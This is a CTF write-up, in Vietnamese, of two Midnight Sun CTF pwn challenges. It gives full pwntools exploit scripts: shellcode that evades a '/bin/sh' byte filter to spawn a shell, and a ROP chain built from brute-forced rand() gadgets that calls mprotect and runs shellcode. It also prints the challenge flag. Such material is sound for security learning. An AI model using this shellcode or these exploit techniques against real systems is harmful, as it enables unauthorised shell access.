# (writeup) midnight-sun-ctf-2023-quals
## SPD A
- check file + checksec

- check ida
```c
int __cdecl main(int argc, const char **argv, const char **envp)
{
int i; // [rsp+8h] [rbp-58h]
int v5; // [rsp+Ch] [rbp-54h]
void *addr; // [rsp+10h] [rbp-50h] BYREF
void *buf; // [rsp+18h] [rbp-48h]
_BYTE *v8; // [rsp+20h] [rbp-40h]
unsigned __int64 v9; // [rsp+28h] [rbp-38h]
v9 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
signal(14, (__sighandler_t)done);
alarm(0x3Cu);
banner();
if ( getrandom(&addr, 8LL, 1LL) == 8 )
{
addr = (void *)((unsigned __int64)addr & 0x7FFFFFFFF000LL);
buf = mmap(addr, 0x1000uLL, 3, 50, -1, 0LL);
if ( buf == (void *)-1LL )
{
perror("mmap failed, addr");
return 1;
}
else
{
printf("c0de: ");
v5 = read(0, buf, 0x1000uLL);
if ( v5 >= 0 )
{
v8 = buf;
for ( i = 0; i < v5; ++i )
{
if ( v8[i] == '/'
|| v8[i] == 'b' && v8[i + 1] == 'i' && v8[i + 2] == 'n'
|| v8[i] == 's' && v8[i + 1] == 'h'
|| !v8[i] )
{
puts("nope");
return 1;
}
}
if ( mprotect(buf, 0x1000uLL, 5) == -1 )
{
perror("mprotect failed");
return 1;
}
else
{
return -1;
}
}
else
{
perror("read failed");
return 1;
}
}
}
else
{
perror("getrandom failed");
return 1;
}
}
```
- nhìn sơ ida thì ta dự đoán được là payload ta nhập vào biến **buf**, nếu tồn tại byte '/', 'bin', 'sh' là sẽ thông báo "nope" và exit chương trình
- mục tiêu mình là skip qua lệnh check các byte đó để tránh trả về "nope", đồng thời mục tiêu mình là ret về -1 (pass dc perror)

- ta sẽ viết shellcode nhưng trong shellcode k hề chứa '/bin/sh'
- đặt breakpoint quanh hàm ta gửi payload vào

- thêm 1 cái ở ret sau mprotect và perror (ở cái else)

- shellcode mà né được '/bin/sh' thì chỉ còn cách mỗi byte của '/bin/sh' ta tăng thêm 1, sau đó trừ đi 1 =))))
- đây là [link web](https://defuse.ca/online-x86-assembler.htm#disassembly) đã hỗ trợ rất nhiều trong lúc viết shellcode
- chuỗi '/bin/sh' khá dài nên ta sẽ tách ra làm 2 gồm :
#### '/bin'

- mỗi byte ta tăng lên 1 rồi trừ đi, push lên stack
```asm
xor rbx, rbx
add rbx, 0x6f6a6330
sub rbx, 0x01010101
push rbx
```
#### '/sh\0'

- tương tự
```asm
xor rbx, rbx
add rbx, 0x01697430
sub rbx, 0x01010101
add rsp, 4 #tăng stack lên 4 để 0x00000000'/bin' thành 0x'/bin'00000000
add rsp, 8 #tăng stack lên 8 vì sau lệnh push sẽ giảm stack xuống 8 nhằm mục đích đẩy chuỗi '/sh\0' lên stack
push rbx
```
- trong shellcode này, ta dùng lệnh \<add> hay \<mov> đều được
- thì chuỗi '/bin/sh' sau khi đẩy lên stack thì ta cần đưa chuỗi đó vào $rdi

> tăng 4 để thêm '/sh\0', tăng 8 để bù trừ cái <push>
> thì tất nhiên '/bin/sh' nằm ở $rsp-0x4
- ta có lệnh đưa '/bin/sh' vào $rdi tiện nhất là \<lea>, nhưng ta sẽ đưa '/bin/sh\0' tức là đưa nội dung bên trong $rsp-0x4
```asm
lea rdi, [rsp-0x4]
```
- ta k thể dùng \<mov> được vì
```asm
mov rdi, [rsp-0x4]
```
- nó sẽ đưa địa chỉ /bin/sh\0 vào $rdi

- chứ không phải địa chỉ stack trỏ tới '/bin/sh'

- việc còn lại là set $rsi NULL, $rdx NULL và $rax 0x3b thôi
- nhưng ở $rax nếu ta dùng \<mov> thì lại báo "nope", ta sẽ dùng \<add> cho toàn cái shellcode cho thống nhất

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./spd_a',checksec=False)
p = process(exe.path)
#p = remote('spda-1.play.hfsc.tf', 40001)
# gdb.attach(p, gdbscript='''
# b*main+317
# b*main+322
# b*main+327
# b*main+727
# c
# ''')
# input()
shellcode = asm(
'''
xor rbx, rbx
add rbx, 0x6f6a6330
sub rbx, 0x01010101
push rbx
xor rbx, rbx
add rbx, 0x01697430
sub rbx, 0x01010101
add rsp, 4
add rsp, 8
push rbx
lea rdi, [rsp-0x4]
xor rsi, rsi
xor rdx, rdx
xor rax, rax
add rax, 0x3b
syscall
''', arch='amd64')
payload = shellcode
p.sendafter(b'c0de: ',payload)
p.interactive()
```
>do viết wu khá trễ nên ngta đóng server, chỉ tạo shell trên local dc thôi chứ lúc giải chưa end là làm ra flag đó =)))))
### shellcode khác
- của đệ tử ``@bbbaooo#``
```python
shellcode = asm(
'''
mov rax , 7016996765293437281
mov rbx , 6987596720162471730
sub rax , rbx
push rax
mov rdi, rsp
xor rsi , rsi
xor rdx , rdx
xor rax, rax
add rax , 0x3b
syscall
''', arch = 'amd64'
)
```
- gửi 8 byte 'a' : ``mov rax , 7016996765293437281``
- tính offset cho '/bin/sh\0' : ``mov rbx , 6987596720162471730``
- lấy 8 byte 'a' - offset : ``sub rax , rbx``
- còn lại setup như bth gọi execve
# (writeup) midnight-sun-ctf-2024-quals
## roborop
- basic file check

- check ida

>**main()**
### analyse
- **getrandom()** seed, sau đó **srand(seed)**
- **getrandom()** 1 addr, có data được gen từ **rand()**
> **mmap()** size 0x10000000 = 0x4000000*4
> **rand()** return int (4 byte), loop 0x4000000
- **getrandom()** 1 buf
- in ra seed và addr
- **read()** biến buf size 0x400
- return sẽ ret vào buf ---> ROPchain
### brute force
- chall đi kèm libc ---> chắc chắn phải tận dụng
> import ctypes để load libc
- vì PIE động, không biết nên return vào đâu nên dựa vào "nhân phẩm" từ **rand()** để lấy gadget từ trong addr
> loop 0x4000000 hơi khoai vả lại cũng mang tính chất nhân phẩm nên sẽ không loop đủ
> loop tầm 0xf000 đến 0x600000 sau đó brute
- ROP nên tìm `pop_rdi_ret`, `pop_rsi_ret`, `pop_rdx_ret`, `pop_rax_ret` và `syscall_ret`
> pop và ret tổng 2 byte
> brute 2 trong 4 byte gen từ **rand()** tỉ lệ trúng cao
> syscall và ret tổng 3 byte
> brute 3 trong 4 khá hên xui may rủi
### ROP + shellcode
- nếu thành công, ta sẽ tiến hành ROP
- vì không có "/bin/sh\0" nên đổi hướng call **mprotect()** rồi ret2shellcode
### get flag

- script:
```py
#!/usr/bin/python3
from pwn import *
from ctypes import *
context.binary = exe = ELF('./roborop',checksec=False)
libc = CDLL('libc.so.6')
# p = process(exe.path)
p = remote('roborop-1.play.hfsc.tf',1993)
p.recvuntil(b'seed: ')
seed = int(p.recvline(),16)
log.info("seed: " + hex(seed))
p.recvuntil(b'addr: ')
addr = int(p.recvline(),16)
log.info("addr: " + hex(addr))
pop_rdi = addr
pop_rsi = addr
pop_rdx = addr
pop_rax = addr
syscall = addr
libc.srand(seed)
test = b''
gadget = [b'\x5F\xC3',b'\x5e\xC3',b'\x5a\xC3',b'\x58\xC3',b'\x0F\x05\xc3']
for i in range(0x60000):
byte = libc.rand()
check = p32(byte)
test += check
pop_rdi += test.find(gadget[0])
print(hex(pop_rdi))
pop_rsi += test.find(gadget[1])
print(hex(pop_rsi))
pop_rdx += test.find(gadget[2])
print(hex(pop_rdx))
pop_rax += test.find(gadget[3])
print(hex(pop_rax))
syscall += test.find(gadget[4])
print(hex(syscall))
if (syscall == addr-1):
exit()
# gdb.attach(p,gdbscript='''
# b*0x55555555551b
# b*0x555555555582
# c
# ''')
# input()
payload = p64(pop_rdi) + p64(addr)
payload += p64(pop_rdx) + p64(7) #prot
payload += p64(pop_rsi) + p64(0x1000) #len
payload += p64(pop_rax) + p64(0xa)
payload += p64(syscall) #mprotect
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rdx) + p64(0x1000) #size
payload += p64(pop_rsi) + p64(addr)
payload += p64(pop_rax) + p64(0)
payload += p64(syscall)
payload += p64(addr)
p.sendafter(b'rops: ',payload)
# input()
shellcode = asm('''
mov rbx, 29400045130965551
push rbx
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 0x3b
syscall
''',arch='amd64')
p.send(shellcode)
p.send('cat flag')
p.interactive()
#midnight{spR4Y_aNd_pR4Y}
```
>midnight{spR4Y_aNd_pR4Y}